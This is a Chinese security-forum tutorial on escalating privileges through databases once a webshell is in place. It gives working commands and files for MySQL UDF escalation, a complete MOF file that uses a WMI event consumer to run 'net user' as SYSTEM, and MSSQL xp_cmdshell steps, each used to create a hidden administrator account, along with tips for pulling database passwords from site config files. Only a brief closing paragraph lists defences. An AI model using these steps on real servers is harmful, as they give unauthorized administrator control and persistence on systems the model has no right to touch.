问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
提权---数据库提权
渗透测试
**前言** 在入侵过程中,通过各种办法和漏洞,提高攻击者在服务器中的权限,从而以便控制全局的过程就叫做提权。例如:windows系统--->user(guest)--->system;Linux系统--->user---&g...
**前言** 在入侵过程中,通过各种办法和漏洞,提高攻击者在服务器中的权限,从而以便控制全局的过程就叫做提权。例如:windows系统--->user(guest)--->system;Linux系统--->user--->root 在web渗透中,从最开始的webshell获取的权限可能仅仅是中间件的权限,可执行的操作控制有限,攻击者往往会通过提权的方式来提升已有的权限,从而执行更多的操作。 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-57dc63608eb0f06ae5b695d59526629dd8482ff6.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-57dc63608eb0f06ae5b695d59526629dd8482ff6.png) **提权的方法** 一、系统漏洞提权 (1)获取操作系统类型以及版本号 (2)根据获取的系统版本号在互联网搜索exp (3)尝试利用exp获取权限 (4)尝试反弹shell 二、数据库提权 (1)mysql数据库——udf提权 (2)数据库提权——mof提权 (3)数据库提权——反弹端口提权 (4)数据库提权——启动项提权 三、第三方软件/服务提权 (1)通过第三方软件漏洞进行提权 (2)通过服务端口、服务协议漏洞进行提权 **数据库提权** 数据库提权就是利用执行数据库语句、利用数据库函数等方式提升服务器用户的权限。例如在 mysql 数据操作中,如果需要执行cmd命令,就会调用UDF这个dll文件,我们就是利用这个漏洞,进行提权操作。 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-4eeb64140bcee6d96886d2b105d8b1380d802d7a.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-4eeb64140bcee6d96886d2b105d8b1380d802d7a.png) **数据库提权思路** (1)如果已经上传webshell,可以从中寻找获取数据库的连接文件(目的获得数据库密码) \--通过读取一些数据库配置文件 数据库配置文件:命令规则(data、sql、inc、config、conn、datab ase等) \--通过mysql数据库的user表 数据库安装文件:安装目录下data/mysql/user.myd frm:描述表结构文件,字段长度,myi:索引信息,myd:数据库信息文件,存储数据信息 (2)获取当前mysql的一个数据库连接信息,通常包含地址、端口、账号、密码、库名等五个信息 (3)数据库具有create,insert,delete权限 (4)寻找存在可读写的文件目录一般是回收站(windows)或tmp(linux) ,用于上传提权工具或者写入脚本 **MYSQL数据库---UDF提权** udf(user-defined-function)是mysql得一个拓展接口,也称为用户自定义函数,用户通过自定义函数来实现在mysql中无法方便实现得功能当攻击者已知root账号和密码,就可以利用root权限,创建带有调用cmd函数的“udf.dll”。当我们把udf.dll导出指定文件夹引入mysql时候,其中的调用函数拿出来当作mysql函数来使用。 **提权思路:** ```php (1)mysql版本小于1版本,udf.dll文件在windows2003下放在:c:\windows\system32。在windows2000放在:c:\winnt\system32 (2)mysql版本大于5.1版本,udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。 (3)利用udf文件加载函数执行命令 create function cmdshell returns string soname 'udf.dll'; //returns string soname ‘导出的DLL路径’; select cmdshell('net user ndsec ndsecpw /add'); select cmdshell('net localgroup administrators ndsec /add'); drop function cmdshell; ``` 用蚁剑连接一句话木马,执行蚁剑的数据库功能模块(可以执行SQL语句),查看版本(5.5.53>5.1),udf.dll文件必须放置在mysql安装目录下的lib\\plugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-0ba9d4d59a54be07dc897b84c9c78faf3a6fc97e.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-0ba9d4d59a54be07dc897b84c9c78faf3a6fc97e.png) 在c:/phpStudy/MySQL/lib/目录下创建一个文件夹plugin,然后上传我们的udf.dll文件 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-810af83c329204d5021e572a290cb2788d481171.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-810af83c329204d5021e572a290cb2788d481171.png) 把udf.dll导出指定文件夹引入mysql,调用cmd函数的”udf.dll” [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-96a0d3b764650e3989d23e0eec12286be83f5f5a.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-96a0d3b764650e3989d23e0eec12286be83f5f5a.png) 查看当前用户,当前并无ndsec用户 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-4a75bab681df9586202669e68e0c9b8801a6cbc3.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-4a75bab681df9586202669e68e0c9b8801a6cbc3.png) 调用cmd创建用户,用户名为ndsec,密码为ndsecpw `net user ndsec ndsecpw /add` [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-146497184c74f089d462fb1f8b3a3c84259d537f.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-146497184c74f089d462fb1f8b3a3c84259d537f.png) 添加用户ndsec进系统用户组 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-094bbc756e5dfc7078787434df5c0777610282a3.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-094bbc756e5dfc7078787434df5c0777610282a3.png) `net user localgroup administrators ndsec /add` 删除cmd函数 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-0489a7900e754a084c0a154b321ce8a34ba8b0d3.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-0489a7900e754a084c0a154b321ce8a34ba8b0d3.png) 查看当前系统用户,发现添加用户成功,提权成功 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-3e947e42388cad6c19512bbf94c53d7920f3a4cf.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-3e947e42388cad6c19512bbf94c53d7920f3a4cf.png) **MYSQL数据库---MOF提权** mof文件是mysql数据库的扩展文件 存放路径(C:/windows/system32/wbem/mof/nullevt.mof),其作用是每隔5秒就会去监控进程创建和死亡。 **提权条件** ```php 1、windows2003及以下 2、mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录 3、secure-file-priv=不为null ``` **提权思路:** mof文件每5秒就会执行,而且是系统权限,我们可以通过load\_file将文件写入/wbme/mof,然后系统每5秒就会执行一次我们上传的mof,mof当中是一段vbs脚本,通过通过控制vbs脚本让系统执行命令,进行提权。 **方法一:Net user查看当前系统用户** [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-1d3ccf099f58a274af2e87889298aaf36e86d00d.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-1d3ccf099f58a274af2e87889298aaf36e86d00d.png) 上传一个mof文件,其中有我们生成用户的代码,系统每隔5秒执行一次 And TargetInstance.Second = 5";控制,这里输入5就是每分钟的第五秒执行 ```shell pragma namespace("\\\\.\\root\\subs cription") instance of EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of Actives criptEventConsumer as $Consumer { Name = "consPCSV2"; s criptingEngine = "Js cript"; s criptText = "var WSH = new ActiveXO bject(\"Ws cript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; }; instance of FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-ca05b2cec618539a605b33dcff78579a63ef75d1.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-ca05b2cec618539a605b33dcff78579a63ef75d1.png) 将其放入c:\\windows\\system32\\wbem\\mof目录下,mof文件每5秒就会执行,而且是系统权限 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-a859567020fdc232c83c91faaae7cf045ad540dd.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-a859567020fdc232c83c91faaae7cf045ad540dd.png) 执行完mof文件后,相当于执行里面的脚本,从而自动生成新用户su1 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-4fe3fbe9c788964d72b14a89fd43d88ec11b471a.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-4fe3fbe9c788964d72b14a89fd43d88ec11b471a.png) 再次上传新的mof文件,将刚刚生成的用户su1加入系统组 ```shell pragma namespace("\\\\.\\root\\subs cription") instance of EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of Actives criptEventConsumer as $Consumer { Name = "consPCSV2"; s criptingEngine = "Js cript"; s criptText = "var WSH = new ActiveXO bject(\"Ws cript.Shell\")\nWSH.run(\"net.exe localgroup administrators admin /add\")"; }; instance of FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-2a885e3b7552a3845deb3c4176a1f7e1fe1b43bb.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-2a885e3b7552a3845deb3c4176a1f7e1fe1b43bb.png) 查看用户组,发现新用户su1添加到管理组添加成功 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-84e9807788fd21a5366a1c551f3f22666d8e509b.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-84e9807788fd21a5366a1c551f3f22666d8e509b.png) **方法二:有些权限的数据库账号 将生成普通用户admin的代码进行转码(字符转十进制/ascii)** [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-f39ced1d32fa418a194b1634562bc2dd21432b64.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-f39ced1d32fa418a194b1634562bc2dd21432b64.png) 将在线转码器的成果放到word里,将空格替换成逗号 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-606e788517abd37717bf9d95e8ddc26c7d3bbfa7.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-606e788517abd37717bf9d95e8ddc26c7d3bbfa7.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-aaef158c77850c9d6b8a16a19fb5b58de207baa7.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-aaef158c77850c9d6b8a16a19fb5b58de207baa7.png) 同理将用户添加进系统组的代码转码 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-50f5a4de63cb34260e3038c14a7cecf51dfca071.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-50f5a4de63cb34260e3038c14a7cecf51dfca071.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-32f143fba8dc2b1ec2674a58edd3bafa231130ae.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-32f143fba8dc2b1ec2674a58edd3bafa231130ae.png) 查看当前用户,生成admin [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-717c28f11204949e0afad58f90bb84a8dbb659cf.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-717c28f11204949e0afad58f90bb84a8dbb659cf.png) **MSSQL数据库提权** Mssql提权是利用扩展存储过程来执行系统命令,达到是自己权限提升的目的。 **提权思路:** ```php 1、Mssql的服务没有降权,是以默认服务继承的权限来运行的 2、拥有该主机Mssql中的sa账号和密码 文件上传的大马webshell后可以连接mssql数据库 ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-1e932d9a47d47548e0a4cc8a5bd55294e7f0ae3c.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-1e932d9a47d47548e0a4cc8a5bd55294e7f0ae3c.png) Mysql账号的寻找方式,一般先寻找网站目录下的配置文件,如:conn.asp(x)/web.config,找到一个x ml网页,存放着数据库账户和密码,账号密码为:sa/sa [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-83365aa0e72815b3d79fdac99626a7a58961dce7.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-83365aa0e72815b3d79fdac99626a7a58961dce7.png) `sp_configure 'show advanced options',1;reconfigure开启xp_cmdshell服务` 以文本行的形式输出 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-0fd189615eafe0a30ffdbdf4c560acf5d242aab2.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-0fd189615eafe0a30ffdbdf4c560acf5d242aab2.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-710fc696d4281cb1587dd77bdcbe2a4b701008d0.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-710fc696d4281cb1587dd77bdcbe2a4b701008d0.png) `exec xp_cmdshell 'net user su su123 /add' 添加用户su` [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-6b1e8e7e1c1ed6e81988d9a96a394356962b34e6.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-6b1e8e7e1c1ed6e81988d9a96a394356962b34e6.png) `exec xp_cmdshell 'net localgroup administrators su /add' 将用户su加入系统组` [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-aca57f599768b298debf143fd2ca4c25a4701ab2.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-aca57f599768b298debf143fd2ca4c25a4701ab2.png) 查看是否添加成功 [![](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-47bfd4abfd728da2ff704eea434911401ab66cde.png)](https://shs3.b.qianxin.com/attack_forum/2021/07/attach-47bfd4abfd728da2ff704eea434911401ab66cde.png) **总结** 防御数据库提权可以限止数据库远程连接,给数据库账号密码设置的时候应该尽量复杂化,避免弱口令;不要给网站配置root或SA这种可以扩展存取的权限。必须给每个网站独立分配数据库帐户并限格控制好权限;安装Waf设备进行防御;安装数据库审计设备进行防御以及审计。
发表于 2021-07-08 11:36:10
阅读 ( 6242 )
分类:
内网渗透
0 推荐
收藏
0 条评论
请先
登录
后评论
和风
10 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!